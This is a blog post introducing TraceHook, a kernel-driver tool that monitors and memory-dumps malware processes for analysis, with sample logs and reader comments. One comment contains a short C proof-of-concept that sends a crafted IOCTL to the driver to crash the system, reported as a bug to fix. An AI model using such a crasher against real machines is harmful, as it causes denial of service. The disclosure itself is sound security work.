Having some free time, I managed to apply some minor fixed to the TraceHook – I also decided to publish it, by the way. If there will be any bug reports / improvement suggestions, I will be more motivated to return to its development ;)
TraceHook is a tiny application keeping track over processes and dumping them when necessary. It’s main objective is to handle various types of malware samples, launched inside a virtual environment (pure malware analysis purposes). Once you choose the executable to run, TraceHook creates the process and adds its PID to the “Controlled Processes’ List”. Every single child-process created by one of these already present in our list, is also being controlled. After all the manual steps are performed (triggering the malware’s core functionality) on the virtual machine, the application dumps the memory context of all the processes inside our controlled list, to separate files inside the hardcoded C:\dump path.
The engine itself is a kernel module (device driver), having a callback routine registered using the documented PspCreateProcessNotifyRoutine API. It works in the context of all processes, thus doesn’t need to inject any additional user-mode code anywhere.
A complete package (EXE + sources): TraceHook_v0.0.1.zip (40kB)
An example of usage:
— User-mode TraceHook.EXE log —
-=*( TraceHook v0.0.1 by j00ru//vx )*=- [INFO] Loading driver... Success! [INFO] Opening driver... Success! [INFO] Querying for the driver version... [INFO] Driver Version: TraceHook driver v0.0.1 by j00ru//vx [INFO] Adding the current ProcessId to the monitor list. [INFO] Creating the C:\dump directory for dump files. [INFO] Creating the target process...Success! [INFO] TraceHook module is active, monitoring the malware processes. [INFO] Press ENTER to stop the analysis. [INFO] A control event has been detected! [INFO] Sending a FINISH signal to the driver... [INFO] Unloading the driver from operating system.
— Kernel-mode TraceHook.SYS log —
00000000 0.00000000 [+] TraceHook.SYS: DriverEntry() called. 00000001 0.00003157 [+] TraceHook.SYS: Create notify-routine successfully set. 00000002 0.00005196 [+] TraceHook.SYS: Registering an Unload routine. 00000003 0.00015896 [+] TraceHook.SYS: The EPROCESS name offset is: 0x0174 00000004 0.00037826 [+] TraceHook.SYS: Creating a named device for the driver. 00000005 0.00046291 [+] TraceHook.SYS: Allocating initial table of 4096 DWORD elements. 00000006 0.00048749 [+] TraceHook.SYS: Initializing synchronization spin-locks. 00000007 0.00206144 [+] TraceHook.SYS: HandleQueryVersion() called. 00000008 0.00248272 [+] TraceHook.SYS: HandleAddProcess() called. 00000009 0.01245382 [+] TraceHook.SYS: NotifyRoutine() called: 00000010 0.01246862 ParentId: 0x00000198 00000011 0.01248092 ProcessId: 0x00000290 00000012 0.01249265 Create: TRUE 00000013 0.01252142 [+] TraceHook.SYS: Adding the 0x00000290 process to malware list. 00000014 4.90317774 [+] TraceHook.SYS: NotifyRoutine() called: 00000015 4.90319204 ParentId: 0x00000290 00000016 4.90320396 ProcessId: 0x00000774 00000017 4.90321541 Create: TRUE 00000018 4.90324879 [+] TraceHook.SYS: Adding the 0x00000774 process to malware list. 00000019 7.22620678 [+] TraceHook.SYS: NotifyRoutine() called: 00000020 7.22622156 ParentId: 0x00000290 00000021 7.22623444 ProcessId: 0x000006c8 00000022 7.22624683 Create: TRUE 00000023 7.22628021 [+] TraceHook.SYS: Adding the 0x000006c8 process to malware list. 00000024 9.93577003 [+] TraceHook.SYS: NotifyRoutine() called: 00000025 9.93578339 ParentId: 0x00000290 00000026 9.93579578 ProcessId: 0x00000774 00000027 9.93580723 Create: FALSE 00000028 9.93584347 [+] TraceHook.SYS: Dumping the virtual memory of PID: 0x00000774. 00000029 9.93639183 [+] TraceHook.SYS: Dump file successfully created. 00000030 12.97541142 [+] TraceHook.SYS: Dumping done, exiting. 00000031 17.54358864 [+] TraceHook.SYS: HandleRemoveProcess() called. 00000032 17.54365158 [+] TraceHook.SYS: HandleFinish() called. 00000033 17.54456329 [+] TraceHook.SYS: NotifyRoutine() called: 00000034 17.54457664 ParentId: 0x00000290 00000035 17.54459000 ProcessId: 0x000006c8 00000036 17.54460335 Create: FALSE 00000037 17.54463768 [+] TraceHook.SYS: Dumping the virtual memory of PID: 0x000006c8. 00000038 17.54517174 [+] TraceHook.SYS: Dump file successfully created. 00000039 17.62910080 [+] TraceHook.SYS: NotifyRoutine() called: 00000040 17.62911415 ParentId: 0x00000198 00000041 17.62912750 ProcessId: 0x00000290 00000042 17.62913895 Create: FALSE 00000043 17.62916946 [+] TraceHook.SYS: Dumping the virtual memory of PID: 0x00000290. 00000044 17.62970161 [+] TraceHook.SYS: Dump file successfully created. 00000045 23.02032471 [+] TraceHook.SYS: Dumping done, exiting. 00000046 23.89743805 [+] TraceHook.SYS: Dumping done, exiting. 00000047 23.90094757 [+] TraceHook.SYS: Finish signal successfully handled. 00000048 24.23270798 [+] TraceHook.SYS: NotifyRoutine() called: 00000049 24.23274612 ParentId: 0x00000490 00000050 24.23275948 ProcessId: 0x00000198 00000051 24.23279381 Create: FALSE 00000052 24.23301888 [+] TraceHook.SYS: DriverUnload() called. 00000053 24.23304558 [+] TraceHook.SYS: Create notify routine removed.
— TODO —
*** TraceHook v0.0.1 –> v0.0.2
- Add a time interval option - the application would wait i.e. 1 minute and then automatically dump the entire process tree, instead of waiting for the user's action - Add a dumping path option (instead of fixed C:\dump) - Change the ProcessList structure to sth based on LIST_ENTRY (safer solution ?)
As always, comments are welcome!
Nice :_)
Check also the relatively new ProcDump from Sysinternals.
@Dreg: Thx ;>
@przemoc: Thanks for the info, it seems to be a really functional tool!
Although, TraceHook is a dedicated tool able to be extended with additional features, which is not the case with ProcDump ;)
Hey j00ru!
Nice tool,Very nice idea to dump, indeed!
But there may be a chance of DoS/BSoD :)
A malware can attempt to DeviceIoControl() the driver(if the driver name is known).
As the driver accepts any DWORD as processID, malware can send a bogus or any system critical PiD to the driver.This may result in INFINITE loop or BSoD.
PoC:
//Crasher.c
#include
#include
#include
#include “driver.h”
HANDLE hDevice;
const CHAR ServiceName[] = “TraceHook”;
const CHAR DeviceName[] = “\\\\.\\TraceHook”;
BOOL AddProcessToList(HANDLE hDriver,DWORD dwProcessId)
{
DWORD BytesReturned;
/* Send an IOCTL signal to the driver and wait for a response
*/
if(!DeviceIoControl(hDriver,
IOCTL_ADD_PROCESS,
&dwProcessId,
sizeof(DWORD),
NULL,
0,
&BytesReturned,
NULL))
{
printf((“DeviceIoControl() failed. LastError: 0x%.8x\n”,(UINT)GetLastError()));
return FALSE;
}
return TRUE;
}
int main()
{
hDevice = CreateFileA(DeviceName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
if(hDevice==NULL)
{
printf(“[*] Driver not loaded!\n”);
return -1;
}
//Provide PiD of csrss.exe (easy to find!) for BSoD
AddProcessToList(hDevice,0x31337); //your invalid PiD
CloseHandle (hDevice);
return 0;
}
:S
http://www.virustotal.com/analisis/35cf20bd5ce92988d5e0a0219e3e373859e45105c82ccd2f07797a37cc5182ce-1253144062
@Cyclops: Uhh, you are perfectly right ;) All in all, I don’t think any malware writer could take my little dumper seriously and exploit this one, but it will surely be fixed in the next release ;>
@unseen: Haha, I am honestly surprised it’s only 1/41 ;D Many legitimate applications have greater scores. And BTW, according to McAfee heuristic engine, every single EXE behaves like a trojan ;>
Great idea about JIT dumping from kernel :-) Please have a look at GUI variant I created:
http://www.dumpanalysis.org/blog/index.php/2007/02/19/instantdump-jit-process-dumper/
@Dmitry:
I also like the idea :) Looking at InstantDump, though, I should work more on the UI part of the application. Nice project!